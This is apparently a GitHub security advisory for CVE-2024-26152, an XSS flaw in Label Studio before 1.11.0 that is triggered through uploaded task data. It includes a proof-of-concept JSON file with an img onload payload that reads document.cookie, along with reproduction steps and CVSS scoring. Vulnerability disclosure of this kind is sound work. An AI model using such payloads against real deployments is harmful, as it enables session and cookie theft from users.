Skip to content

Label Studio vulnerable to Cross-site Scripting if `<Choices>` or `<Labels>` are used in labeling config

Moderate severity GitHub Reviewed Published Feb 22, 2024 in HumanSignal/label-studio • Updated Feb 23, 2024

Package

pip label-studio (pip)

Affected versions

< 1.11.0

Patched versions

1.11.0

Description

Summary

On all Label Studio versions prior to 1.11.0, data imported via file upload feature is not properly sanitized prior to being rendered within a Choices or Labels tag, resulting in an XSS vulnerability.

Details

Need permission to use the "data import" function. This was reproduced on Label Studio 1.10.1.

PoC

  1. Create a project.
    Create a project

  2. Upload a file containing the payload using the "Upload Files" function.
    2  Upload a file containing the payload using the Upload Files function
    3  complete

The following are the contents of the files used in the PoC

{
  "data": {
    "prompt": "labelstudio universe image",
    "images": [
      {
        "value": "id123#0",
        "style": "margin: 5px",
        "html": "<img width='400' src='https://labelstud.io/_astro/images-tab.64279c16_ZaBSvC.avif' onload=alert(document.cookie)>"
      }
    ]
  }
}
  1. Select the text-to-image generation labeling template of Ranking and scoring
    3  Select the text-to-image generation labelling template for Ranking and scoring
    5  save

  2. Select a task
    4  Select a task

  3. Check that the script is running
    5  Check that the script is running

Impact

Malicious scripts can be injected into the code, and when linked with vulnerabilities such as CSRF, it can cause even greater damage. In particular, It can become a source of further attacks, especially when linked to social engineering.

References

@jombooth jombooth published to HumanSignal/label-studio Feb 22, 2024
Published to the GitHub Advisory Database Feb 22, 2024
Reviewed Feb 22, 2024
Published by the National Vulnerability Database Feb 22, 2024
Last updated Feb 23, 2024

Severity

Moderate

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
None
User interaction
Required
Scope
Changed
Confidentiality
Low
Integrity
None
Availability
None

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:N/A:N

EPSS score

0.045%
(17th percentile)

Weaknesses

CVE ID

CVE-2024-26152

GHSA ID

GHSA-6xv9-957j-qfhg

Credits

Loading Checking history
See something to contribute? Suggest improvements for this vulnerability.